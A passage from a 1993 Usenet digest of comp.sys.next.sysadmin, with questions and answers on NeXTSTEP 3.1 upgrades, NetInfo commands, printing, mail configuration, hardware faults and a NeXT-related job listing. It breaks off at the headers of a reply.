In <1vpmit$jh9@mathserv.mps.ohio-state.edu> nevai@math.ohio-state.edu (Paul Nevai) writes:
>BTW when I called the NeXT "tech support" I talked to a totally ignorant
>woman (trying to advise me) who asked for my MasterCard or VISA number so one
>of their "engineers" could call my back within 24 hours for $30 per half hour
>(or maybe $30 for the 1st half hour). It pissed me off and I am mad at them.
I don't understand why you would be mad. NeXT has charged for support for some
time now, wasn't it clear? The people on the front line are an interface to
the techies and should be commended for their helpfulness, they do their best.
But they are not responsible for answering your questions and certainly not
for free.
BTW, NeXT keeps only the best in the back line. So the rates that they charge
are as expected. Maybe the pricing wasn't entirely clear, so here is how I
understand it. $30 for each 15 minute block, rounded up. This is only for
system support and not developer. There are also contracts that you can buy
(edu pricing applies :-)) just contact the people at NeXT for more info.
If you think these rates are too high, maybe call Sun and ask about their
prices! That should put things into perspective.
My $0.02CDN
-Mark
--
Mark G. Tacchi tacchi@ccu.umanitoba.ca
"Medicine will cure death and government will repeal taxes
before Steve will fail." -G.Kawasaki
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: robertn@penny.demon.co.uk (Robert Nicholson)
Subject: SNS Bug in NS/FIP
Date: Thu, 17 Jun 1993 15:52:13 +0000
Message-ID: <9306171543.AA03733@penny.demon.co.uk>
Sender: usenet@demon.co.uk
There appears to be a bug in SNS in NS/FIP.
Does anybody know what SNS does _exactly_ when it configures a machine as a
server?
My feeling is, that rather than manually have to set up a machine using
NetInfoMgr the easiest thing to do it write a script using niutil's.
Any clues?
From: "Jeremy G. Mereness" <zonker+@CMU.EDU>
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Losing Contact w LANetwork??
Date: Thu, 17 Jun 1993 17:40:24 -0400
Organization: Graduate School of Industrial Administr., Carnegie Mellon, Pittsburgh, PA
Message-ID: <kg8CH8u00WB0AkSEUO@andrew.cmu.edu>
[sorry for the cross-post]
I have a NeXTStation Color that has recently developed problems with
talking on a thin-net based LAN.
While it can ping and telnet to other hosts, it loses contact with NFS
servers when it tries to fetch anything of any size bigger than the
contents of a directory (like launching an application). While an app
tries to launch, the console will report "server not responding... still
trying" over and over while it establishes and loses contact repeatedly.
FTP'ing something from a host to the machine also hangs up after one or
two items cross the wire.
Again, all the while, I can ping and even telnet to other hosts on my
LAN... but, ping doesn't always report 0% packet loss, and if I 'cat' a
large file in a telnet session, it will freeze up after a screenful or
so of data.
I have rebuilt the disk from scratch, but the behavior hasn't changed,
and I have played with different cables, all to no effect.
I am suspecting a hardware problem. What should I do? How can I verify
my findings? Do I have to call BellAtlantic to get service? I just hope
I am not looking at a new motherboard.
Thanks in Advance!
Jeremy Mereness zonker+@cmu.edu
-------------------------------------------------------------------------
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FAST Laboratory +++++
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From: gad@eclipse.its.rpi.edu (Garance A. Drosehn)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 3.1 with Apple CD 300 - a WARNING!!!
Date: 17 Jun 1993 22:09:15 GMT
Organization: Rensselaer Polytechnic Institute, Troy NY, USA
Distribution: world
Message-ID: <1vqq2b$30o@usenet.rpi.edu>
References: <CEDMAN.93Jun17094840@capitalist.princeton.edu>
cedman@princeton.edu (Carl Edman) writes:
> nevai@math.ohio-state.edu (Paul Nevai) writes:
> I hooked up my Apple CD 300 to my black cube and installed 3.1. It
> was a disaster! It failed so I had to borrow a genuine NeXT CD ROM
> and then had to reinitialize my harddisk. It took me a whole day.
>
> Even though it appears that Apple CD 300 works with the NeXT
> cube and it may partially do so, in fact, it is not 100%
> compatible. They even look identical except that the NeXT one
> doesn't have the green light. Be vary careful! Any comments?
>
> You say that you did a successful re-install from a NeXT CD ROM after
> an unsuccessful upgrade with the Apple CD ROM, but how do you know
> that the reason was the hardware and not just a generic upgrade
> problem ? The upgrade does not do anything special with the CD ROM
> beyond what would occur in normal usage, so I doubt that it was a
> hardware imcompatibility -- there are some many other possible
> culprits in a failed upgrade.
>
> For what it is worth (and lest Garance starts blaming the double speed
> CD ROMs from hell again :-) ), I did a problem free and fast upgrade
> to 3.1 from 3.0 with a Toshiba 3401.
Who? What? Someone mention my name?
(and got the spelling right, no less!)
It'd be nice to pin down the problem with double-speed drives. Certainly
I've had pretty clear evidence of problems caused by double-speed drives
themselves on my NeXTstations (one is an original greyscale NeXTstation, one
is *supposed* to be a color turbo but seems to really be a color non-turbo).
And just as certainly, other people haven't had problems with double-speed
drives.
Not sure what to make of it. I have to do a 3.0 install on a new external
hard disk sometime soon, maybe I'll try using my Apple CD300 on that and see
what happens. Not sure what it will prove if it works, or if it doesn't
work for that matter... (on the other hand, if it *does* work then I'll
have saved myself a pretty good chunk of time!).
--
Garance Alistair Drosehn = gad@eclipse.its.rpi.edu
ITS Systems Programmer (handles NeXT-type mail)
Rensselaer Polytechnic Institute; Troy NY USA
Newsgroups: comp.sys.next.sysadmin
From: jblue@ocotillo.mitre.org (Jason D. Blue)
Subject: DAT DRIVE - Intel/NeXT - Recommendation/prices
Message-ID: <1993Jun17.140620.25634@linus.mitre.org>
Sender: news@linus.mitre.org (News Service)
Organization: The MITRE Corporation
Date: Thu, 17 Jun 1993 14:06:20 GMT
If you can provide an answer TODAY to the following I would GREATLY
appreciate it: I am interested in getting a DAT drive for backups for out
network of NeXTSTEP machines. Looking for recommendations/prices for one
that will work on both NEXTSTEP plantforms.
Thanks.
Jason
--
Jason D. Blue
NeXT Network and Systems Administrator
The MITRE Corporation, McLean, VA
jblue@mitre.org (NeXT Mail Encouraged!)
TIP#081
Newsgroups: comp.sys.next.sysadmin
From: root@azetsys.uucp (Operator)
Subject: 3.1 user upgrade
Message-ID: <1993Jun17.225031.212@azetsys.uucp>
Organization: CleverLever
Date: Thu, 17 Jun 1993 22:50:31 GMT
Hi,
Got my 3.1 user upgrade, (the dev. portion will follow
a week or so later), out of curiosity upgraded one of my hard disk,
here is the insights I've gained:
With 32 mb memory the number of buffers has been changed
from 16, to 204.
The login panel has been redesigned it has a new look.
The installation took 40 minutes, it removed all the
developer stuff, it also removed emacs, it offers options to retain
your current system files, (uucp, etc...), tried uucp after the
upgrade it worked like before, could not try cnews, because
my default editor (emacs) was bye bye, there is an additional
cd-rom in the package called "ThirdParty" it contains demo
versions of programs from several Software houses. The 3.1
cd-rom has a demo version of Soft-PC, installed it on my
mono turbo, it seems to work even in black&white.
Overall the installation is easy, no problems to note.
Geza.. azetsys!root@uunet.uu.net (Geza Fekete)
From: Conrad_Geiger@NeXT.COM (Conrad Geiger)
Newsgroups: comp.sys.next.sysadmin
Subject: 32 NEXTSTEP Positions Available (Hawaii, Texas, NE, Calif, Midwest)
Date: 17 Jun 1993 18:28:37 -0500
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9306172328.AA10333@toto.NeXT.COM>
For more information, contact:
Clint Tomlinson - Manager, NeXT/OOP Recruiting
Pencom
9050 Capital of Texas Highway North
Austin, Texas 78759
Telephone: 512-343-1111
Fax: 512-346-6444
E-Mail: clint@pencom.com
Pencom seeks 32 NeXT/OOP Engineers for internal and external
projects for our distinguished list of clients.
AUSTIN, TEXAS - June 11, 1993 - Pencom Software's team of NeXT
engineers are dedicated to providing services to developers and end
user organizations equipped with workstations and software from NeXT
Incorporated.
A NeXT-authorized systems integrator as well as a registered NeXT
software developer, Pencom provides a full range of services to
support users and vendors in adopting this revolutionary technology.
Pencom continues to be the leader in NeXT/OO software development
and consulting services, and has the largest staff of NeXT engineers
outside of NeXT themselves.
Pencom Software is a division of Pencom Systems Incorporated, a New
York-based firm providing software engineering and manpower resources
to Fortune 500 companies and leading computer firms since 1973.
Currently the largest recruiting firm specializing in the UNIX/Open
Systems market, Pencom employs over 500 people and maintains a large
heterogeneous network of workstations including more than 80 NeXT
machines.
The following permanent and contract positions require no less than
2 years industry experience, and permanent positions require
permanent residence. Thank you for your cooperation.
If you are interested in being kept informed about positions but are
not actively seeking employment, please email contract information in
confidence to clint@pencom.com.
MIDWEST
CHICAGO, ILLINOIS
1 - NeXT System Administrator
* NeXT/Sun/UNIX system administration experience
* Network Management background
* Objective-C or C++ experience
* Background in a heterogeneous systems environment a must
2 - NeXT Software Engineer
* NeXT/UNIX application software development
* Strong NEXTSTEP, AppKit, Interface Builder experience
* High level design, rapid prototyping in NeXT environment
* Ability to work in a dynamic team environment
* Strong Objective-C or C++ programming experience
* Financial trading applications
* 5 to 8 years experience
1 - Senior Applications Development Engineer
* 5-7 years UNIX/C applications development
* Financial applications (Equity Trading Systems)
* 1+ years NeXT/NEXTSTEP/AppKit/ DBKit/Objective-C
* Sun, SYBASE/C++ a plus
TEXAS
2 - OOP Software Engineers
* 2+ years Object Oriented Programming (C++/Objective
C,Smalltalk)
* 2+ years Object Oriented analysis/design
* 1+ years NEXTSTEP applications development
* Network Management Systems, GUI
* Telecommunication/Datacommunication applications
* 5-6 years industry experience
3 - OOP Software Engineers
* NEXTSTEP/Smalltalk programming
* Relational database design and database applications
development (DBKit/ORACLE/SYBASE preferred)
* 2 years UNIX/C application development
* 2 years RDBMS experience using an SQL-based RDBMS
* Interface Builder, VisualWorks
* Technology transfer
* Willing to travel
1 - OOP Architect
* NEXTSTEP/Smalltalk programming, OOD/OOA
* 2-3 years Object Oriented Architecture
* Relational database design and database applications
development (DBKit/ORACLE/SYBASE preferred)
* 5-7 years UNIX/C application development
* Interface Builder, VisualWorks
* Technology transfer, training
* Willing to travel
1 - Senior Database Specialist
* 5+ years database design and database applications
development experience
* 3 years application development experience in a UNIX
environment
* 2 years DBMS experience using an SQL-based DBMS
* 1+ year applications experience in the NEXTSTEP
environment
* Strong background in proposal generation, system
specification, third-party software evaluation,
technology transfer, rapid prototyping
* Experience with AppKit, DBKit, NEXTSTEP 3.0, OOD, C++,
Objective-C
* GUI and Porting experience
1 - NeXT Software Engineers
* Strong NEXTSTEP applications development
* Strong UNIX, Objective-C, C++
* AppKit, Interface Builder, DBKit required
* Strong RDBMS
* Transfer of NeXT technology
* Software training or teaching experience
* 6 to 10 years experience
1 - Object Oriented Programmer
* 2+ years Object Oriented Programming (C++/Objective C)
* 2+ years database design and database applications
* 5 years UNIX/C application development
* 2+ years RDBMS (SYBASE preferred)
* 1+ years NEXTSTEP applications development
* AIX/RS6000 programming
* AppKit, DBKit, NEXTSTEP 3.0, OOD
* GUI and Porting experience
2 - NeXT/Smalltalk Software Engineers
* 4+ years industry experience
* 2+ years OOP (NeXT/SMTK/C++)
* Strong RDBMS (ORACLE/SYBASE/DBKit)
* Applications development
* Interface builder, VisualWorks
* Contracts for 3-6 months
CALIFORNIA
1 - Software Engineer (4-6 months)
* Porting experience
* 1+ years Object Oriented Programming (C++/Objective C)
* 1+ years database design and database applications
* 2 years UNIX/C application development
* Financial applications
* 2+ years RDBMS (SYBASE/ORACLE preferred)
* 1+ years NEXTSTEP applications development
* AppKit, DBKit, NEXTSTEP 3.0, OOD
1 - NeXT Software engineer (4-6 months)
* Off the shelf software integration
* NEXTSTEP API, GUI, DBKit
* SYBASE/SQL
* AppKit, DBKit, NEXTSTEP 3.0, OOD
1 - NeXT Applications Programmer (4-6 months)
* Custom NEXTSTEP 3.0 applications
* AppKit, Interface Builder
* DBKit/SYBASE
* Sun/DEC
5 - OOP Software Engineers
* 2+ years Object Oriented Programming (C++/Objective
C,Smalltalk)
* 2+ years Object Oriented analysis/design
* 1+ years NEXTSTEP applications development
* Strong RDBMS, ORACLE, SYBASE, DBKit
* 3-4 years industry experience
1 - Director of Support
* 8-10 years industry experience
* Strong customer support experience
* Strong management experience
* Director level experience
* 4 management reports
* 37 indirect reports
1 - Manager of Support
* 7-9 years industry experience
* Strong management skills
* Account management
* Contract negotiation, proposals, P&L
* UNIX/NeXT environment
* 8 direct reports
1 - Director of Software Engineering
* 8-10 years industry experience
* Strong management skills
* Hands on development UNIX/NeXT/OOP
* Project scheduling, planning, budgeting
* Product development
* RDBMS or DBKIT
NORTHEAST
2 - DBKit/RDBMS Specialist (3-4 months)
* AppKit, DBKit, NEXTSTEP 3.0, OOD, Objective C
* 2+ years database design and database applications
development (DBKit/ORACLE/SYBASE preferred)
* 2 years UNIX/C application development
* 2 years RDBMS experience using an SQL-based RDBMS
* 1+ year NEXTSTEP applications
* Security Clearance
3 - NeXT Software Engineer
* NeXT/UNIX/C application (Financial) software development
* Strong NEXTSTEP, AppKit, Interface Builder, DBKit
* High level design, rapid prototyping in NeXT
* Strong Objective C
* 2+ years experience
HAWAII
1 - Senior IS Manager
* NeXT/DOS applications
* Objective C, OOP
* Strong leadership/interpersonal skills
* NeXT/DOS/PC Systems administration
* Strong knowledge of computer industry
* Accounting/billing/order entry applications
As an aside, it was very nice meeting all of you that attended the
NeXTWORLD EXPO, I look forward to long and prosperous relationships.
More positions soon...
From: sowa@amdew.llnl.gov (Erik C. Sowa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 3.1 user upgrade
Date: 17 Jun 1993 23:48:19 GMT
Organization: LLNL Chemistry and Materials Science
Message-ID: <SOWA.93Jun17164819@amdew.llnl.gov>
References: <1993Jun17.225031.212@azetsys.uucp>
In-reply-to: root@azetsys.uucp's message of Thu, 17 Jun 1993 22:50:31 GMT
>>>>> "Geza" == Operator <root@azetsys.uucp> writes:
Geza> The installation took 40 minutes, it removed all the
Geza> developer stuff, it also removed emacs,
Oh, my. Removed emacs, did it? SINFUL! CRIMINAL! Now I definitely know
not to apply the User upgrade until the Developer upgrade arrives.
Not that I want to sound like a broken record, but Users Use Emacs! I
think NeXT should make an emacs installation package available from the
archives for Motorola or Intel or any other Users that are not
Developers but still Use Emacs daily. Especially since mere Users may no
longer Compile the Holy Sources.
--
erik sowa (sowa@amdew.llnl.gov)
From: tpugh@oce.orst.edu (Tim Pugh)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: /etc/fstab vs NETINFO question - help is needed
Message-ID: <1vr0en$e2o@gaia.ucs.orst.edu>
Date: 17 Jun 93 23:58:15 GMT
Article-I.D.: gaia.1vr0en$e2o
References: <1vpm79$jcn@mathserv.mps.ohio-state.edu>
Organization: University Computing Services - Oregon State University
In article <1vpm79$jcn@mathserv.mps.ohio-state.edu> nevai@math.ohio-state.edu (Paul
Nevai) writes:
> How do I use "niutil" from a shell terminal to add this /etc/fstab entry to
> the NETINFO "mounts" place:
>
> math:/n/math/5 /Net/MATH nfs rw,hard,intr 0 0
>
> When it's in the /etc/fstab it doesn't mount at boot or later with "mount -at
> nfs" either.
>
> I just couldn't figure it out myself. Can you help?
>
> Please respond by email. Thanks. Take care...Paul
>
> Paul Nevai nevai@math.ohio-state.edu
> Dept Math - Ohio State University 1-614-292-3317 (Office)
> Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
At a command line in the Terminal window logged in as root, you can load your /etc/fstab
entry into netinfo using the "niload" command. Or using NFSManager.app application in
/NextAdmin, you can add the NFS mount info to the netinfo database.
To load /etc/fstab entries into netinfo from the command line, type:
mymachine> niload fstab / < /etc/fstab
This says to read NFS mounts from /etc/fstab and place them into netinfo's mount database
for the root domain, "/", where it will be available for all NeXT machines using this
network's NetInfo database.
- Tim -
--
Tim Pugh
College of Oceanic and Atmospheric Sciences
Oregon State University
tpugh@oce.orst.edu
NeXTmail ok!
Newsgroups: comp.sys.next.sysadmin
From: tlm@iastate.edu (Tom Marchioro)
Subject: Re: 3.1 user upgrade
Message-ID: <tlm.740362577@scl1.al.iastate.edu>
Sender: news@news.iastate.edu (USENET News System)
Organization: Iowa State University, Ames IA
References: <1993Jun17.225031.212@azetsys.uucp> <SOWA.93Jun17164819@amdew.llnl.gov>
Date: Fri, 18 Jun 1993 00:16:17 GMT
In <SOWA.93Jun17164819@amdew.llnl.gov> sowa@amdew.llnl.gov (Erik C. Sowa) writes:
>Not that I want to sound like a broken record, but Users Use Emacs! I
>think NeXT should make an emacs installation package available from the
>archives for Motorola or Intel or any other Users that are not
>Developers but still Use Emacs daily. Especially since mere Users may no
>longer Compile the Holy Sources.
Did you say "broken record?" Can we all say "broken record?" :)
Having had the opportunity to meet Erik and see the hows and wheres of his
life I have only one question, "What text Editor does Jerry Garcia use?"
No, wait, I have another! "Do you have Deadbase fed into Digital Librarian
yet?" (For those of you who are not into the arcana of deadheads, Deadbase
is a book containing about 50 bits of information on EVERY song the Dead
have ever played live. The human genome project is trivial by comparison :)
Holy Sources????
Newsgroups: comp.sys.next.sysadmin
From: pat%cesar@cam.org (Patrique Lalonde)
Subject: Mail images
Message-ID: <1993Jun17.205555.1486@cesar.uucp>
Sender: pat@cesar.uucp
Date: Thu, 17 Jun 1993 20:55:55 GMT
Bonjour,
I know this question has been asked before but how do I have to install a
user.tiff file in /LocalLibrary/Images/People so that Mail.app can display
the picture of the sender.
I know that for local users you just have to put username.tiff with the
correct permissions. But how does it work for mail coming from outside my
domain.
I am a UUCP site dialing-out to my news/mail feed.
Please send replys directly to my account.
Merci beaucoup!
Patrique Lalonde
=====-----NeXT Mail-----=======
Patrique Lalonde
pat%cesar@cam.org
*******************************
From: ruck@alpha.ee.ufl.edu (John R. Ruckstuhl Jr.)
Newsgroups: comp.sys.next.sysadmin
Subject: rlogin authentication
Date: 18 Jun 1993 00:53:03 GMT
Organization: EE Dept at UF
Message-ID: <1vr3lf$71m@bigguy.eng.ufl.edu>
I'm trying to get root@A trusted by root@B so that rlogin by root from A
to B won't be prompted for password.
For root to even be allowed on, /etc/ttys needs to say that the pseudo
tty is "secure" -- I've got that...
Now I've constructed an /.rhosts which allows "rsh B command" to
execute, but, "rsh B" (or equivalently "rlogin B") still prompts for a
password. The authentication for "rlogin B" is different from the
authentication for "rsh B command"?
This problem is unique to root. /etc/hosts.equiv is empty. B:/.rhosts
is owned by root. A and B run v3.0.
Any information will be greatly appreciated!
Thank you,
ruck
--
John R. Ruckstuhl, Jr. ruck@alpha.ee.ufl.edu
Dept. of Electrical Engineering ruck@cis.ufl.edu
University of Florida
From: nevai@math.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin
Subject: OS 3.1 "nidump printcap ." problem - seeking advice
Date: 18 Jun 1993 01:20:41 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1vr599$759@mathserv.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
I get this with OS 3.1:
% nidump printcap .
Printer Local_Printer can't be represented in printcap format.
Did you experience the same? Any advice/suggestion?
Please respond by email. Thanks. Take care...Paul
Paul Nevai nevai@math.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: SNS Bug in NS/FIP
Message-ID: <C8sqv5.L7E@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: University Computing Services
References: <9306171543.AA03733@penny.demon.co.uk>
Date: Fri, 18 Jun 1993 02:57:05 GMT
In article <9306171543.AA03733@penny.demon.co.uk> robertn@penny.demon.co.uk (Robert Nicholson) writes:
>There appears to be a bug in SNS in NS/FIP.
>
>Does anybody know what SNS does _exactly_ when it configures a machine as a
>server?
>
>My feeling is, that rather than manually have to set up a machine using
>NetInfoMgr the easiest thing to do it write a script using niutil's.
SNS *is* a bug. About the only time I've ever seen it work (somewhat)
is setting up a NetInfo Server. It does that right (sometimes) and
then proceeds to make a bunch of other stupid assumptions. If you
fire it up again, it will mess everything up.
You can use nidomain and niutil to do what you need. Avoid SNS.crapp.
-rob
---
Rob Francis Unix Systems Specialist, Indiana University
francisr@indiana.edu (812)855-0327
From: eshuck@slate.mines.colorado.edu (SHUCK EDWARD LEE )
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 3.1 user upgrade
Message-ID: <1993Jun18.025125.5925@slate.mines.colorado.edu>
Date: 18 Jun 93 02:51:25 GMT
References: <SOWA.93Jun17164819@amdew.llnl.gov>
Organization: Colorado School of Mines
Can't you just move emacs to your local bin or Apps directory?
Does the new installation search there too?
Seems there must be some simple way to save it.
Ted Shuck eshuck@mines.colorado.edu
Newsgroups: comp.sys.next.sysadmin
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: 3.1 user upgrade
Message-ID: <1993Jun18.053437.22353@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <SOWA.93Jun17164819@amdew.llnl.gov> <1993Jun18.025125.5925@slate.mines.colorado.edu>
Date: Fri, 18 Jun 1993 05:34:37 GMT
3.1 includes a newer version of emacs.
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: magnus@fisher.Stanford.EDU (Magnus Nordborg)
Subject: Re: 3.1 user upgrade
Message-ID: <1993Jun18.055824.20770@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
References: <1993Jun18.025125.5925@slate.mines.colorado.edu>
Date: Fri, 18 Jun 93 05:58:24 GMT
In article <1993Jun18.025125.5925@slate.mines.colorado.edu>
eshuck@slate.mines.colorado.edu (SHUCK EDWARD LEE ) writes:
> Can't you just move emacs to your local bin or Apps directory?
> Does the new installation search there too?
> Seems there must be some simple way to save it.
> Ted Shuck eshuck@mines.colorado.edu
There is. According to the manual, Upgrade.app lets you customize the
installation and specify what old stuff not to remove. I think Mr. Sowa
was more expressing religious indignation at the blasphemous thought of
removing the One True Editor than direct concern over losing -m-cs.
--
Magnus Nordborg
magnus@fisher.stanford.edu (NeXT mail preferred)
Department of Biological Sciences
Stanford University
Stanford, CA 94305-5020
+1 (415) 723-4952 (office)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: jmeacham@ants.edu (James D. Meacham 3rd)
Subject: Help--Mail/sendmail being weird
Message-ID: <1993Jun18.053413.500@ants.edu>
Sender: jmeacham@ants.edu
Organization: Andover Newton Theological School
Date: Fri, 18 Jun 1993 05:34:13 GMT
After working a long time to get both mail and news working correctly, for some
unknown reason mail stqrting being weird. The problem is that after setting up
sendmail.cf for uucp (and it worked for some time in this mode) it is now being
picky as to what it will send to uucp. For example, foobar@world.std.com will
get through, but foobar@parrot.creighton.edu will com back with a message that
states:
----- Transcript of session follows -----
421 Host parrot.creighton not found for mailer ether.
550 Joe Foobar <foobar@parrot.creighton.edu>... Host unknown
It seems to choke on only *.edu addresses, which might be in some way related
to the fact that I changed my domain name to ants.edu so that my incoming mail
would work. Any suggestions on how to get around this? Thanks,
James
---
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
James David Meacham, 3rd
Andover Newton Theological School e-mail:jmeacham@ants.edu
Newton Centre, MA 02159 NeXTMAIL accepted
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
--
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
James David Meacham, 3rd
Andover Newton Theological School e-mail:jmeacham@ants.edu
Newton Centre, MA 02159 NeXTMAIL accepted
From: nevai@math.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin
Subject: A request from OS 3.1 (cube) people
Date: 18 Jun 1993 11:31:12 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1vs920$gvn@mathserv.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
If you have 3.1, could you please email me the output of these:
niutil -read . /printers/Local_Printer
nidump printcap .
Thanks. Take care...Paul
P.S. I thank you now and will (probably) not do so when I get your stuff
because most likely I'll get dozens of responses. I need only one response
BUT I need that badly! Thanks!!!
Paul Nevai nevai@math.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: nevai@math.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: Re: Is there cc in 3.1 ?
Date: 18 Jun 1993 11:34:19 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1vs97r$h09@mathserv.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
I thank the many people who told me that cc will come in the 3.1 developer
package instead of the user one, and, thus, I did order it yesterday for 99
bucks + shipping. According to the order taker guy, it will come in 2-3
weeks. Take care...Paul
P.S. I will no longer respond to all you kind people writing me on this
issue.
Paul Nevai nevai@math.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: nevai@ops.mps.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 3.1 with Apple CD 300 - a WARNING!!!
Date: 18 Jun 1993 12:01:00 GMT
Organization: Department of Mathematics, The Ohio State University
Message-ID: <1vsaps$hg2@mathserv.mps.ohio-state.edu>
References: <CEDMAN.93Jun17094840@capitalist.princeton.edu> <1993Jun17.180743.3469@news.media.mit.edu>
In article <1993Jun17.180743.3469@news.media.mit.edu> lacsap@plethora.media.mit.edu (Pascal Chesnais) azt mondja:
:> Even though it appears that Apple CD 300 works with the NeXT cube
:> and it may partially do so, in fact, it is not 100%
:> compatible. They even look identical except that the NeXT one
:> doesn't have the green light. Be vary careful! Any comments?
:>
:I used the Apple 300 on three different cubes without any
:problems due to the CDrom itself. What we have had
:trouble with in the past are the HP 1 gig drives...
This is interesting. I am the original poster AND I ave a 1 G HP drive
(which works flawlessly unless this time it was the culprit. Who knows...)
Newsgroups: comp.sys.next.sysadmin
From: uunet!lkba!lkb (Larry Blische)
Subject: Re: DAT DRIVE - Intel/NeXT - Recommendation/prices
Message-ID: <1993Jun18.120809.10518@lkba.uucp>
Sender: lkb@lkba.uucp (Larry Blische)
Organization: LKB Associates, Inc.
References: <1993Jun17.140620.25634@linus.mitre.org>
Date: Fri, 18 Jun 1993 12:08:09 GMT
In article <1993Jun17.140620.25634@linus.mitre.org> jblue@ocotillo.mitre.org
(Jason D. Blue) writes:
>
> If you can provide an answer TODAY to the following I would GREATLY
> appreciate it: I am interested in getting a DAT drive for backups for out
> network of NeXTSTEP machines. Looking for recommendations/prices for one
> that will work on both NEXTSTEP plantforms.
^^^^^^^^^^
So, that explains that moss growing on the side of this monitor!
I know we all say that NEXTSTEP grows on you...
:-)
--
Larry Blische lkba!lkb@uunet.UU.NET
LKB Associates, Inc. NeXTmail Welcome!
3118 Dunglow Road 410 285 2262
Dundalk, Maryland 21222-5304 USA
From: robinc@jhunix.hcf.jhu.edu (Robert Delucca)
Newsgroups: comp.sys.next.sysadmin
Subject: Hard Disk Spin Down Problem
Date: 18 Jun 1993 09:14:36 -0400
Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA
Message-ID: <1vsf3sINNa3b@jhunix.hcf.jhu.edu>
Hello,
I have a strange problem with my NSTC. About every other day, in the midst of
work, the internal hd spins down and stops. Of course all apps hang,
and I cannot reboot until I just power down (not a very clean shutdown!).
When I reboot, everything's fine until the next occasion.
I have an NSTC with 32mb ram, small 250 internal. It's brand new.
I assume this is a software problem. No data has been corrupted.
The disk just decides to spin down sometimes. I can hear the
spinning stop.
Thanks for any suggestions.
Robert de Lucca
Johns Hopkins University
email robinc@jhunix.hcf.jhu.edu
Nextmail rdelucca@rosemary.uucp.jhu.edu
Newsgroups: comp.sys.next.sysadmin
From: moetakef
Subject: Problem with printing postscript files
Message-ID: <1993Jun18.081127.2736@news.uta.edu>
Sender: news@news.uta.edu (USENET News System)
Organization: University of Texas at Arlington
Date: Fri, 18 Jun 1993 08:11:27 GMT
When submitting PostScript files from our NeXT machine to a PostScript printer
on a remotehost, we get the printout in ascii characters. However, the PS files
sent directly from the machine hosting the printer, which is Apollo DN 5500,
come out alright. Below is the NeXT's printcap file which was loaded to the
netinfo via "niload" command:
LaserWriter|ap:\
:lp=:rm=me:rp=apple:sd=/usr/spool/NeXT/ap:tr=^D:\
:lf=/usr/adm/lw-log:af=/usr/adm/lw.acct:\
:br#9600:rw:fc#0000374:fs#0000003:xc#0:xs#0040040:mx#0:sf:sb:\
:if=/usr/lib/transcript/psif:of=/usr/lib/transcript/psof:\
:gf=/usr/lib/transcript/psof:nf=/usr/lib/transcript/psnf:\
:tf=/usr/lib/transcript/psnf:vf=/usr/lib/transcript/pstf:\
:gf=/usr/lib/transcript/pscf:df=/usr/lib/transcript/psgf:\
:ty=LaserWrite:\
If there is any mistake or lack of filtering switches in this printcap file
that causes this problem, I'd appreciate any pointers.
M. Moetakef
moetakef@mecad.uta.edu
From: pkron@corona.com (Peter Kron)
Newsgroups: comp.sys.next.sysadmin
Subject: Autofetching mail for pseudo-users
Message-ID: <104.UUL1.3#16216@corona.com>
Date: Fri, 18 Jun 93 14:32:35 PDT
Organization: Corona Design, Inc., Seattle, WA
I like to create pseudo-users to receive mail from mailing lists. This
sorts the mail into various mailboxes automatically.
The only problem is I have to log in to each user periodically to force
Mail.app to fetch the mail from /usr/spool/mail, which is tedious.
Can anyone give me a shell command to Mail.fetch (the service task that
does this job) that I could run from crontab? Running the app gives a
usage spec, but I am not sure what all the parameters mean.
Thanks
---------------
Peter Kron P.O. Box 51022
Corona Design, Inc. Seattle, WA 98115-1022
Peter_Kron@corona.com
From: cedman@princeton.edu (Carl Edman)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Autofetching mail for pseudo-users
Message-ID: <CEDMAN.93Jun18120834@capitalist.princeton.edu>
Date: 18 Jun 93 16:08:33 GMT
References: <104.UUL1.3#16216@corona.com>
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
In-Reply-To: pkron@corona.com's message of Fri, 18 Jun 93 14:32:35 PDT
To: pkron@corona.com (Peter Kron)
Originator: news@nimaster
